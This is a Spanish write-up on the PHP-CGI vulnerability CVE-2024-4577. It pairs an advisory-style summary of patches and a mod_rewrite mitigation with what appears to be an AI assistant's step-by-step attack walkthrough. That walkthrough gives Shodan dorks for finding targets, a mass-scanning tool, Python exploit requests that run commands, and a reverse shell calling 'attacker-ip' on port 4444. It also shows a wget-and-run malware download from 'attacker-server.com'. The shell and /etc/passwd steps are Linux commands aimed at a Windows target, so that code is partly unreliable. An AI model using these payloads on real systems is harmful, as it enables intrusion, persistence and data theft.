Descripción de la Vulnerabilidad
- Identificación: CVE-2024-4577
- Afecta a: Todas las versiones de PHP en Windows, incluidas instalaciones predeterminadas de XAMPP.
- Gravedad: Crítica, permite ejecución remota de código (RCE).
Descubrimiento y Naturaleza
- Investigador: Orange Tsai de Devcore.
- Error: Relacionado con la conversión de caracteres de Unicode a ASCII en la función ‘Best-Fit’ de Windows cuando PHP se usa en modo CGI.
- Explotación: Utilizando un guion corto o hyphen (0xAD) en lugar de un guion normal (0x2D) en una petición POST, los atacantes pueden evadir el proceso de escape y ejecutar comandos arbitrarios en el servidor.
Impacto
- Versiones Afectadas: PHP 5.x, 7.x y 8.x.
- Configuraciones Vulnerables: Incluso si PHP no está en modo CGI, puede ser explotada si los ejecutables
php.exe
ophp-cgi.exe
están en directorios accesibles por el servidor web. - Entornos Vulnerables: XAMPP para Windows, especialmente bajo configuraciones regionales en chino tradicional, chino simplificado y japonés.
Detalles de la Explotación
- Evasión de Protecciones: El error permite evadir protecciones anteriores (CVE-2012-1823).
- Mecanismo: El mapeo ‘Best Fit’ de Unicode en PHP interpreta un guion suave (0xAD) como un guion real (0x2D), permitiendo a los atacantes introducir argumentos adicionales en la línea de comandos de PHP.
- Inyección de Comandos: Ejemplo:
-d allow_url_include=1 -d auto_prepend_file=php://input
, facilitando la RCE a través de una solicitud HTTP manipulada.
Medidas de Mitigación y Actualizaciones
- Parche Disponibles: Para versiones soportadas de PHP:
- PHP 8.3.8
- PHP 8.2.20
- PHP 8.1.29
- Para Sistemas No Actualizables Inmediatamente:
- Implementar reglas de
mod_rewrite
para bloquear ataques:apache RewriteEngine On RewriteCond %{QUERY_STRING} ^%ad [NC] RewriteRule .? - [F,L]
- Usuarios de XAMPP que no necesiten CGI deben comentar la directiva ‘ScriptAlias’ en el archivo de configuración de Apache.
Recomendaciones Adicionales
- Migrar a Alternativas Más Seguras: Como FastCGI, PHP-FPM o Mod-PHP.
- Revisar Configuraciones Regionales: Realizar evaluaciones exhaustivas para detectar posibles vulnerabilidades.
Conclusión
La vulnerabilidad CVE-2024-4577 es altamente crítica debido a su facilidad de explotación y el impacto potencial en servidores PHP en Windows. Es esencial la rápida implementación de parches y mitigaciones para proteger los sistemas contra ataques inminentes.
Más Información
- Microsoft Open Specifications
- CERT Vulnerability Notes
- WatchTower Labs Blog
- CVE-2012-1823 References
- PHP ChangeLogs
- Shadowserver
- Orange Tsai’s Blog
- Ars Technica
- Devcore Blog
- The Hacker News
- Bleeping Computer
Exploit CVE-2024-4577
Para entender y explicar en detalle la vulnerabilidad CVE-2024-4577 y su implementación, primero revisemos el contenido del archivo que has subido (README.md
). Procederé a abrir y analizar el archivo.
Vamos a desglosar y explicar cada parte del archivo README.md
sobre la vulnerabilidad CVE-2024-4577, y cómo implementar y entender esta vulnerabilidad en detalle.
1. Descripción General
CVE-2024-4577 PoC Exploit
- Descripción: Este repositorio contiene una prueba de concepto (PoC) para la vulnerabilidad CVE-2024-4577, una falla crítica que afecta a todas las versiones de PHP en Windows, permitiendo a los atacantes ejecutar código arbitrario de forma remota. También afecta al entorno de desarrollo XAMPP en sistemas Windows.
2. Detalles de la Vulnerabilidad
- Origen del Problema: La vulnerabilidad proviene de un error de inyección de argumentos debido a una corrección incompleta de una vulnerabilidad de 2012 (CVE-2012-1823). El equipo de desarrollo de PHP pasó por alto la función ‘Best-Fit’ de la conversión de codificación en Windows, permitiendo a los atacantes no autenticados evadir protecciones anteriores y ejecutar código arbitrario en servidores PHP remotos mediante un ataque de inyección de argumentos.
3. Escenarios de Explotación
- PHP en Modo CGI: Los atacantes pueden explotar esta vulnerabilidad directamente cuando PHP está configurado en modo CGI, comúnmente usado en configuraciones de servidores web.
- Binario PHP Expuesto en Directorio CGI (XAMPP): El modo predeterminado de XAMPP expone el binario PHP en el directorio CGI, haciéndolo vulnerable a la explotación.
4. Uso del PoC
Para utilizar la prueba de concepto (PoC) para esta vulnerabilidad, sigue los siguientes pasos:
- Instalación de la Herramienta:
go install -v github.com/zomasec/CVE-2024-4577/cmd/CVE-2024-4577
- Uso de la Herramienta con las siguientes banderas:
CVE-2024-4577 -l/-d <archivoDeHosts>/<host> -c <concurrencia> -timeout <tiempoDeEspera>
-l
: Archivo que contiene una lista de hosts para escanear.-d
: Un solo host para escanear.-c
: Número de escaneos concurrentes (por defecto es 10).-timeout
: Tiempo de espera de la solicitud en segundos (por defecto es 5). Ejemplo:
CVE-2024-4577 -l hosts.txt -c 20 -timeout 10
- Utilización de Dorks:
- Hunter:
header.server="PHP"
- FOFA:
server="PHP"
- SHODAN:
server: PHP os:Windows
Recursos Adicionales
- Tenable Blog – CVE-2024-4577 Prueba de Concepto Disponible
- Duo Decipher – Falla Crítica en PHP CVE-2024-4577 Corregida
Explicación Paso a Paso de la Vulnerabilidad
- Origen y Naturaleza del Error:
- Función ‘Best-Fit’: Cuando PHP convierte caracteres de Unicode a ASCII, la función ‘Best-Fit’ de Windows puede interpretar ciertos caracteres de manera inadecuada, permitiendo la inyección de argumentos.
- Guion Suave vs. Guion Normal: El uso de un guion suave (0xAD) en lugar de un guion normal (0x2D) permite a los atacantes eludir protecciones y ejecutar comandos.
- Método de Explotación:
- Petición POST: Los atacantes pueden enviar una solicitud POST manipulada con el carácter de guion suave para evadir el proceso de escape y ejecutar comandos arbitrarios.
- Argumentos Adicionales: Mediante esta técnica, pueden introducir argumentos como
-d allow_url_include=1 -d auto_prepend_file=php://input
que facilitan la ejecución de código remoto (RCE).
- Mitigaciones y Parches:
- Parches Disponibles: Actualizar a las versiones PHP 8.3.8, 8.2.20 o 8.1.29.
- Medidas Temporales: Implementar reglas de
mod_rewrite
en Apache para bloquear ataques o desactivar CGI en XAMPP.
Ejemplo de Implementación de la Explotación
- Instalación del PoC:
- Clonar el repositorio y seguir las instrucciones de instalación usando
go install
.
- Ejecutar el PoC:
- Configurar un archivo con una lista de hosts o especificar un host individual.
- Ejecutar el comando con los parámetros deseados para escanear vulnerabilidades.
- Uso de Motores de Búsqueda (Dorks):
- Utilizar los dorks proporcionados para identificar servidores PHP vulnerables en diversas plataformas de búsqueda de seguridad.
Este desglose debería ayudarte a comprender cómo funciona la vulnerabilidad CVE-2024-4577, cómo se puede explotar y las medidas que debes tomar para proteger tus sistemas. Si tienes más preguntas o necesitas más detalles sobre algún punto específico, házmelo saber.
Para mostrarte paso a paso cómo un atacante podría explotar la vulnerabilidad CVE-2024-4577 para acceder a una máquina y lo que podría hacer una vez dentro, seguiremos un escenario teórico basado en la información disponible. Este ejemplo es educativo y busca mostrar los posibles riesgos y cómo los atacantes podrían llevar a cabo un ataque. No debe usarse para propósitos maliciosos.
Escenario de Explotación
Preparativos del Atacante
- Identificar un Servidor Vulnerable
El atacante debe identificar un servidor que ejecute una versión vulnerable de PHP en Windows.
- Utilizando un motor de búsqueda como Shodan:
sh shodan search 'server: PHP os:Windows'
- Instalar la Herramienta de Explotación
El atacante necesita instalar la herramienta PoC que explota CVE-2024-4577.
- Instalación de la herramienta:
sh go install -v github.com/zomasec/CVE-2024-4577/cmd/CVE-2024-4577
Ejecución del Ataque
- Ejecutar el Escaneo para Encontrar Servidores Vulnerables
El atacante usa la herramienta para escanear posibles objetivos.
- Ejemplo de comando de escaneo:
sh CVE-2024-4577 -l hosts.txt -c 20 -timeout 10
- Enviar la Petición Maliciosa
El atacante envía una solicitud HTTP POST maliciosa que explota la vulnerabilidad.
- Código de solicitud maliciosa en Python:
import requests url = "http://vulnerable-server.com/php-cgi/php-cgi.exe" payload = { 'param': '\xad-d allow_url_include=1 -d auto_prepend_file=php://input' } headers = { 'Content-Type': 'application/x-www-form-urlencoded' } data = "<?php system('whoami'); ?>" response = requests.post(url, data=data, headers=headers, params=payload) print(response.text)
Este código intenta ejecutar el comandowhoami
en el servidor vulnerable.
Acceso a la Máquina
- Confirmar la Ejecución de Código Remoto
Si el servidor devuelve el nombre de usuario del sistema, significa que el ataque fue exitoso y el atacante puede ejecutar comandos arbitrarios.
- Respuesta esperada:
nt authority\system
- Ejecutar Comandos Maliciosos
Ahora, el atacante puede ejecutar cualquier comando en el servidor comprometido.
- Ejemplo de obtener una reverse shell:
import requests url = "http://vulnerable-server.com/php-cgi/php-cgi.exe" payload = { 'param': '\xad-d allow_url_include=1 -d auto_prepend_file=php://input' } headers = { 'Content-Type': 'application/x-www-form-urlencoded' } data = """<?php $sock=fsockopen("attacker-ip",4444);exec("/bin/sh -i <&3 >&3 2>&3"); ?>""" response = requests.post(url, data=data, headers=headers, params=payload)
- En la máquina del atacante, escuchar en el puerto 4444:
nc -lvnp 4444
Si todo funciona correctamente, el atacante ahora tiene una shell interactiva en la máquina comprometida.
Potenciales Acciones Maliciosas
- Robo de Datos
El atacante puede acceder a archivos sensibles y exfiltrar datos.
- Ejemplo:
sh cat /etc/passwd
- Instalación de Malware
Instalar software malicioso para mantener el acceso o lanzar otros ataques.
- Ejemplo:
sh wget http://attacker-server.com/malware.sh -O /tmp/malware.sh sh /tmp/malware.sh
- Uso de la Máquina para Ataques Posteriores
Usar la máquina comprometida como punto de partida para lanzar ataques a otras redes.
Medidas de Protección
- Actualizar PHP
Instalar las versiones parcheadas de PHP (8.3.8, 8.2.20, 8.1.29). - Reconfigurar el Servidor
Implementar reglas demod_rewrite
en Apache para bloquear ataques:
RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]
- Desactivar CGI en XAMPP
Comentar la directivaScriptAlias
en el archivo de configuración de Apache si CGI no es necesario.
Conclusión
Este escenario teórico muestra cómo un atacante podría explotar CVE-2024-4577 para obtener acceso a un servidor y ejecutar código arbitrario. Es fundamental tomar medidas proactivas para mitigar esta vulnerabilidad y proteger los sistemas contra posibles ataques.